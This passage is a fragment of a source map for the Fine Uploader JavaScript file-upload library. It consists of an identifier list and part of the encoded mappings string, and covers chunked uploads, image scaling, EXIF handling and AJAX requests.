eDrop","folderDrop","folderSelection","imagePreviews","imageValidation","itemSizeValidation","pause","progressBar","resume","scaling","tiffPreviews","unlimitedScaledImageSize","uploading","uploadCors","uploadCustomHeaders","uploadNonMultipart","uploadViaPaste","isGenericPromise","maybePromise","then","successArgs","failureArgs","successCallbacks","failureCallbacks","doneCallbacks","state","onSuccess","onFailure","done","BlobProxy","referenceBlob","onCreate","create","UploadButton","o","self","disposeSupport","options","acceptFiles","focusClass","folders","hoverClass","ios8BrowserCrashWorkaround","onChange","title","buttonId","createInput","BUTTON_ID_ATTR_NAME","setMultiple","position","right","top","fontFamily","fontSize","margin","padding","cursor","height","overflow","direction","getInput","getButtonId","isMultiple","optInput","removeAttribute","setAcceptFiles","reset","UploadData","uploaderProxy","byUuid","byStatus","byProxyGroupId","byBatchId","getDataByIds","idOrIds","entries","id","getDataByUuids","uuids","uuid","getDataByStatus","status","statusResults","statuses","index","statusEnum","statusResultIndexes","dataIndex","addFile","spec","SUBMITTING","originalName","size","batchId","proxyGroupId","onStatusChange","retrieve","optionalFilter","setStatus","newStatus","oldStatus","byStatusOldStatusIndex","splice","uuidChanged","newUuid","oldUuid","updateName","newName","updateSize","newSize","setParentId","targetId","parentId","getIdsInProxyGroup","getIdsInBatch","SUBMITTED","REJECTED","QUEUED","CANCELED","PAUSED","UPLOADING","UPLOAD_RETRYING","UPLOAD_SUCCESSFUL","UPLOAD_FAILED","DELETE_FAILED","DELETING","DELETED","basePublicApi","addBlobs","blobDataOrArray","params","endpoint","addFiles","addInitialFiles","cannedFileList","cannedFile","_addCannedFile","_maybeHandleIos8SafariWorkaround","_storedIds","_currentBatchId","processBlob","_handleNewFile","_options","blobs","defaultName","verifiedFiles","processBlobData","blobData","processCanvas","processCanvasData","canvasData","normalizedQuality","processFileOrInput","fileOrInput","files","file","normalizeData","fileContainer","_prepareItemsForUpload","cancel","_handler","cancelAll","storedIdsCopy","storedFileId","clearStoredFiles","continueUpload","uploadData","_uploadData","enabled","getName","_uploadFile","deleteFile","_onSubmitDelete","doesExist","fileOrBlobId","isValid","drawThumbnail","fileId","imgOrCanvas","maxSize","fromServer","customResizeFunction","promiseToReturn","fileOrUrl","_imageGenerator","_thumbnailUrls","scale","getFile","container","generate","modifiedContainer","reason","getButton","_getButton","_buttonIdsForFileIds","getEndpoint","_endpointStore","get","getInProgress","getParentId","uploadDataEntry","getUploads","getResumableFilesData","getSize","getNetUploads","_netUploaded","getRemainingAllowedItems","allowedItems","_currentItemLimit","_netUploadedOrQueued","getUuid","debug","pauseUpload","_autoRetries","_retryTimeouts","_preventRetries","_buttons","button","_paramsStore","_pasteHandler","session","refreshOnReset","_refreshSessionData","_succeededSinceLastAllComplete","_failedSinceLastAllComplete","_totalProgress","retry","_manualRetry","scaleImage","specs","Scaler","setCustomHeaders","headers","_customHeadersStore","set","setDeleteFileCustomHeaders","_deleteFileCustomHeadersStore","setDeleteFileEndpoint","_deleteFileEndpointStore","setDeleteFileParams","_deleteFileParamsStore","setEndpoint","setForm","elementOrId","_updateFormSupportAndParams","setItemLimit","newItemLimit","setName","setParams","setUuid","uploadStoredFiles","_itemError","_uploadStoredFiles","basePrivateApi","sessionData","deleteFileEndpoint","deleteFileParams","thumbnailUrl","_annotateWithButtonId","associatedInput","qqButtonId","_getButtonId","_batchError","callbacks","onError","_createDeleteHandler","DeleteFileAjaxRequester","method","toUpperCase","maxConnections","uuidParamName","request","uuidName","customHeaders","paramsStore","endpointStore","cors","onDelete","_onDelete","onDeleteComplete","xhrOrXdr","isError","_onDeleteComplete","_createPasteHandler","PasteSupport","targetElement","paste","pasteReceived","_handleCheckedCallback","onPasteReceived","_handlePasteSuccess","identifier","_createStore","initialValue","_readOnlyValues_","store","catchall","perIdReadOnlyValues","readOnlyValues","copy","orig","getReadOnlyValues","includeReadOnlyValues","existing","values","addReadOnly","_createUploadDataTracker","_onUploadStatusChange","_maybeAllComplete","setTimeout","_createUploadButton","accept","validation","allowedExtensions","allowMultiple","workarounds","iosEmptyVideos","_isAllowedExtension","classes","buttonFocus","buttonHover","ios8BrowserCrash","inputName","_onInputChange","fileInputTitle","_disposeSupport","_createUploadHandler","additionalOptions","namespace","lastOnProgress","preventRetryParam","preventRetryResponseProperty","onProgress","loaded","total","_onProgress","onComplete","_onComplete","onCancel","cancelFinalizationEffort","_onCancel","onUploadPrep","_onUploadPrep","onUpload","_onUpload","onUploadChunk","chunkData","_onUploadChunk","onUploadChunkSuccess","onResume","onAutoRetry","responseJSON","_onAutoRetry","onUuidChanged","setSize","_setSize","getDataByUuid","isQueued","UploadHandlerController","_fileOrBlobRejected","_formatSize","max","toFixed","sizeSymbols","_generateExtraButtonSpecs","_extraButtonSpecs","extraButtons","extraButtonOptionEntry","extraButtonSpec","_initExtraButton","extraButtonsSpec","_defaultButtonId","buttonOrFileInputOrFile","inputs","fileInput","fileBlobOrInput","_getNotFinished","_getValidationBase","_getValidationDescriptor","fileWrapper","_getValidationDescriptors","fileWrappers","fileDescriptors","_handleCameraAccess","camera","acceptIosCamera","optionRoot","details","callbackRetVal","successParam","newFileWrapperList","actualFile","handler","_customNewFileHandler","_handleNewFileGeneric","addFileToHandler","_trackButton","fileList","extSuppliedName","extension","_initFormSupportAndParams","_formSupport","FormSupport","attachedToForm","getFormInputsAsObject","autoUpload","newAutoUpload","newEndpoint","_isDeletePossible","expected","allowXdr","allowed","valid","allowedExt","extRegex","code","maybeNameOrNames","messages","names","validationBase","extensionsForMessage","placeholderMatch","replacement","allowedExtension","formatFileName","sizeLimit","minSizeLimit","placeholder","_onBeforeManualRetry","notFinished","_onAllComplete","ios8SafariUploads","alert","unsupportedBrowserIos8Safari","_maybeParseAndSendUploadError","response","errorReason","defaultResponseError","_maybeProcessNextItemAfterOnValidateCallback","validItem","stopOnFirstInvalidFile","validationDescriptor","onValidate","_onValidateCallbackSuccess","_onValidateCallbackFailure","successful","failed","onAllComplete","_shouldAutoRetry","_onBeforeAutoRetry","autoAttemptDelay","itemLimit","onManualRetry","clearTimeout","storedItemIndex","expunge","fileIndex","onIndividualProgress","_onSubmit","_onSubmitCallbackSuccess","_onSubmitted","onSubmitted","_storeForLater","onSuccessCallback","additionalMandatedParams","adjustedOnSuccessCallback","onSubmitDelete","_deleteHandler","sendDelete","_onTotalProgress","onTotalProgress","_onValidateBatchCallbackFailure","_onValidateBatchCallbackSuccess","validationDescriptors","errorMessage","proposedNetFilesUploadedOrQueued","tooManyItemsError","nextIndex","_validateFileOrBlobData","_upload","onValidateBatch","_preventLeaveInProgress","event","onLeave","Session","_session","addFileRecord","refresh","_sessionRequestComplete","onSessionRequestComplete","onNewSize","enableAuto","maxAutoAttempts","formElementOrId","onSubmit","idToUpload","stillSubmitting","validityChecker","ImageValidation","validate","image","errorCode","_wrapCallbacks","safeCallback","errorMsg","exception","callbackName","callbackFunc","FineUploaderBasic","disableCancelForFormUploads","filenameParam","forceMultipart","paramsInBody","totalFileSizeName","maxHeight","maxWidth","minHeight","minWidth","maybeXhr","maybeXhrOrXdr","attemptNumber","fileOrBlobData","typeError","sizeError","minSizeError","emptyError","noFilesError","maxHeightImageError","maxWidthImageError","minHeightImageError","minWidthImageError","retryFailTooManyItems","concurrent","mandatory","paramNames","partIndex","partByteOffset","chunkSize","totalFileSize","totalParts","partSize","recordsExpireIn","resuming","fileOrBlobName","sendCredentials","interceptSubmit","customResizer","sendOriginal","orient","defaultType","defaultQuality","failureText","includeExif","sizes","ImageGenerator","_scaler","handleNewFile","TotalProgress","entry","AjaxRequester","shouldParamsBeInQueryString","queue","requestData","acceptHeader","validMethods","contentType","mandatedParams","allowXRequestedWithAndCacheControl","successfulResponseCodes","DELETE","PATCH","POST","PUT","GET","onSend","isSimpleMethod","containsNonSimpleHeaders","containsNonSimple","header","isXdr","getCorsAjaxTransport","ontimeout","onprogress","getXhrOrXdr","suppliedXhr","dequeue","nextId","sendRequest","xdrError","isResponseSuccessful","getParams","onDemandParams","additionalParams","optXhr","payload","url","createUrl","additionalQueryParams","getXdrLoadHandler","getXdrErrorHandler","onreadystatechange","getXhrReadyStateChangeHandler","registerForUploadProgress","open","setHeaders","send","stringify","addToPath","readyState","lengthComputable","onDemandHeaders","additionalHeaders","allHeaders","setRequestHeader","responseCode","prepareToSend","initTransport","path","cacheBuster","withPath","appendToPath","withParams","withQueryParams","_additionalQueryParams_","withHeaders","withPayload","thePayload","withCacheBuster","qqtimestamp","Date","getTime","canceled","UploadHandler","proxy","fileState","fileItem","onCancelRetVal","getThirdPartyFileId","_getFileState","_setThirdPartyFileId","thirdPartyFileId","_wasCanceled","controller","chunkingPossible","concurrentChunkingPossible","preventRetryResponse","chunked","chunkIdx","_getChunkData","attemptingResume","chunkProgress","_getChunkDataForCallback","finalize","finalizeChunks","normaizedResponse","normalizeResponse","_maybeDeletePersistedChunkData","cleanup","hasMoreParts","remaining","nextPart","nextIdx","_getTotalChunks","reevaluateChunking","sendNext","inProgressChunks","inProgress","connectionManager","available","uploadChunk","clearCachedChunk","responseToReport","inProgressChunkIdx","_maybePersistChunkedState","inProgressIdx","unshift","ignoreFailure","keys","_getXhrs","ckid","ckXhr","abort","_cancelled","moveInProgressToRemaining","free","clearXhr","_open","_openChunks","_waiting","openChunkEntriesCount","openChunksCount","openChunkIndexes","dontAllowNext","allowNext","waitingIndex","connectionsIndex","getProxyOrBlob","getWaitingOrConnected","waitingOrConnected","chunks","parseInt","isUsingConnection","pop","openChunksEntry","simple","uploadFile","maybeNewUuid","_clearXhrs","getProxy","initHandler","handlerType","traditional","handlerModuleSubtype","_removeExpiredChunkingRecords","isDeferredEligibleForUpload","maybeDefer","generatedBlob","updateBlob","maybeSendDeferredFiles","errorResponse","idsInGroup","uploadedThisId","idInGroup","now","originalResponse","_shouldChunkThisFile","blobToUpload","cancelRetVal","isProxied","isResumable","WindowReceiveMessage","callbackWrapperDetachers","receiveMessage","onMessageCallbackWrapper","stopReceivingMessages","detacher","FormUploadHandler","formHandlerInstanceId","onloadCallbacks","detachLoadEvents","postMessageCallbackTimers","isCors","corsMessageReceiver","expungeFile","iframe","getElementById","_getIframeName","getFileIdForIframeName","iframeName","initIframeForUpload","body","registerPostMessageCallback","_parseJsonResponse","onloadCallback","_detachLoadEvent","_attachLoadEvent","responseDescriptor","contentDocument","_createIframe","_initFormForUpload","targetName","innerHtmlOrMessage","XhrUploadHandler","chunkFiles","resumeEnabled","xhrId","ajaxRequester","_getAjaxRequester","blobOrProxy","_initTempState","_maybePrepareForResume","cachedChunks","tempState","xhrs","ajaxRequesters","responseParser","lastChunkIdx","_getXhr","resumableFilesData","_iterateResumeRecords","notResumable","optInProgress","optRemaining","reverse","paused","totalChunks","parts","newBlob","chunkId","_createXhr","optChunkIdx","_registerXhr","chunkIndex","fileSize","startBytes","endBytes","part","count","startByte","endByte","_getLocalStorageId","formatVersion","_getMimeType","_getPersistableData","ceil","_markNotResumable","localStorageId","removeItem","persistedData","lastUpdated","_registerProgressHandler","progressCalculator","totalSuccessfullyLoadedForFile","loadedForRequest","totalForRequest","estActualChunkLoaded","totalLoadedForFile","chunkLoaded","optAjaxRequester","xhrsId","expirationDays","expirationDate","setDate","getDate","requester","getMandatedParams","_method","detectSubsampling","img","iw","naturalWidth","ih","naturalHeight","ctx","width","getContext","drawImage","getImageData","detectVerticalSquash","sy","ey","py","alpha","ratio","renderImageToDataURL","doSquash","renderImageToCanvas","maybeCalculateDownsampledDimensions","maxPixels","origHeight","origWidth","newHeight","sqrt","newWidth","modifiedDimensions","save","resize","renderImageToCanvasWithCustomResizer","imageHeight","imageWidth","orientation","targetHeight","targetWidth","transformCoordinate","d","tmpCanvas","vertSquashRatio","dw","dh","dy","tmpCtx","sx","dx","clearRect","restore","qqImageRendered","resizeInfo","sourceCanvas","sourceCanvasContext","targetCanvas","translate","rotate","PI","MegaPixImage","srcImage","errorCallback","Image","URL","createObjectURL","webkitURL","src","listeners","imageLoadListeners","render","imgWidth","imgHeight","opt","optionsKey","optionsValue","oldTargetSrc","onrender","isImg","el","isCanvas","isImgCorsSupported","crossOrigin","isCanvasSupported","determineMimeOfFileName","nameWithPath","pathSegments","isCrossOrigin","targetAnchor","targetProtocol","targetHostname","targetPort","href","protocol","port","hostname","location","registerImgLoadListeners","registerCanvasDrawImageListener","registerThumbnailRenderedListener","registered","draw","drawPreview","Identify","megapixErrorHandler","isPreviewable","dummyExif","exif","Exif","mpImg","Orientation","failureMsg","drawOnCanvasOrImgFromUrl","canvasOrImg","tempImg","tempImgRender","rendered","drawOnImgFromUrlWithCssScaling","drawFromUrl","fileBlobOrUrl","_testing","TAG_IDS","TAG_INFO","274","parseLittleEndian","hex","pow","seekToApp1","offset","theOffset","thePromise","segmentLength","getApp1Offset","isLittleEndian","app1Start","getDirEntryCount","littleEndian","getIfd","dirEntries","getDirEntries","ifdHex","getTagValues","TAG_VAL_OFFSET","tagsToFind","vals","idHex","tagsToFindIdx","tagValHex","tagValLength","parser","onParseFailure","app1Offset","dirEntryCount","tagValues","isIdentifiable","magicBytes","questionableBytes","identifiable","magicBytesEntries","magicBytesArrayEntry","previewable","isPreviewableSync","PREVIEWABLE_MIME_TYPES","fileMime","isRecognizedImage","image/jpeg","image/gif","image/png","image/bmp","image/tiff","hasNonZeroLimits","limits","atLeastOne","limit","getWidthHeight","sizeDetermination","getFailingLimit","dimensions","failingLimit","limitName","limitValue","limitMatcher","dimensionPropName","actualValue","validationEffort","isJsonResponseValid","handleFileItems","fileItems","someItemsIgnored","err","refreshEffort","refreshCompleteCallback","requesterOptions","SessionAjaxRequester","queryServer","responseText","includeOriginal","failedToScaleText","_getSortedSizes","getFileRecords","originalFileUuid","originalFileName","originalBlobOrBlobData","records","originalBlob","sizeRecord","outputType","_determineOutputType","requestedType","refType","_getName","_generateScaledImage","failedText","api","scaledIds","originalId","record","blobSize","scaledId","qqparentuuid","qqparentsize","param","scalingEffort","scalingOptions","scaler","referenceType","scaledVersionProperties","startOfExt","versionType","scaledName","scaledExt","nameAppendage","sort","a","b","sourceFile","imageGenerator","scaledImageDataUri","signalSuccess","_insertExifHeader","scaledImageDataUriWithExif","originalImage","reader","insertionEffort","originalImageDataUri","ExifRestorer","readAsDataURL","_dataUriToBlob","_createBlob","KEY_STR","encode64","output","chr1","chr2","chr3","enc1","enc2","enc3","enc4","isNaN","origFileBase64","resizedFileBase64","expectedBase64Header","rawImage","decode64","segments","slice2Segments","exifManipulation","exifArray","getExifArray","newImageArray","insertExif","aBuffer","seg","x","imageData","buf","separatePoint","mae","ato","array","rawImageArray","head","endPoint","base64test","perFileProgress","totalLoaded","totalSize","lastLoadedSent","lastTotalSent","callbackProxy","noRetryableFiles","retryable","none","failedId","updateTotalProgress","onNew","newLoaded","newTotal","oldLoaded","oldTotal","detachPasteHandler","isImage","registerPasteHandler","clipboardData","getAsFile","unregisterPasteHandler","startUpload","formEl","_form2Obj","determineNewEndpoint","validateForm","nativeSubmit","checkValidity","maybeUploadOnSubmit","submit","determineFormEl","notIrrelevantType","irrelevantTypes","radioOrCheckbox","ignoreValue","checked","selectValue","select","selected","elements","getIframeContentJson","doc","innerHtml","contentWindow","nodeValue","createForm","responseFromMessage","multipart","addChunkingSpecificParams","allChunksDoneRequester","AllChunksDoneAjaxRequester","createReadyStateChangedHandler","onUploadOrChunkComplete","getChunksCompleteParams","isErrorUploadResponse","parseResponse","sendChunksCompleteRequest","complete","setParamsAndGetEntityToSend","setUploadHeaders","extraHeaders","toSend","promises","endpointHandler"],"mappings":"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